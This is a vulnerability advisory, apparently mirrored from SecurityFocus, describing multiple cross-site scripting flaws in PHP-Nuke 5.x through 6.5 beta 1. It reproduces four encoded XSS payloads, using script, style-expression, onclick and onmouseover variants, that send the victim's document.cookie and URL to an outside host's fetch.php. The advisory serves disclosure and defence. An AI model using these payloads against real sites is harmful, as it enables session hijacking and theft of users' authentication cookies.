PHP-Nuke 5.x/6.0/6.5 BETA 1 Multiple Cross Site Scripting Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

PHP-Nuke Cross Site Scripting Vulnerabilitie


                                                source: http://www.securityfocus.com/bid/6244/info

everal cross site scripting vulnerabilities have been reported for PHP-Nuke.

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link. Attacker-supplied HTML and script code may be executed on a web client in the context of the site hosting the web-based forum.

Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

&#60;SCRIPT&#62;location.href=&#34;http://www.techie.hopto.org/fetch.php?
[email protected]&ref=&#34;+document.URL+&#34;cookie=&#34;+document.cookie;

&#60;B
STYLE=&#34;left:expression(eval(&#39;location.href=\&#39;http://www.techie.hopto.org/
[email protected]&ref=\&#39;+document.URL+\&#39;cookie=\&#39;+
document.cookie&#39;))&#34;&#62;Bold text -- or an attack?&#60;/B&#62;
&#60;B
ONCLICK=&#34;location.href=&#39;http://www.techie.hopto.org/fetch.php?
[email protected]&ref=&#39;+document.URL+&#39;cookie=&#39;+document.cookie&#34;&#62;
Don&#39;t Click&#60;/B&#62;
&#60;B
ONMOUSEOVER=&#34;location.href=&#39;http://www.techie.hopto.org/fetch.php?
[email protected]&ref=&#39;+document.URL+&#39;cookie=&#39;+document.cookie&#34;&#62;Keep
Away!&#60;/B&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1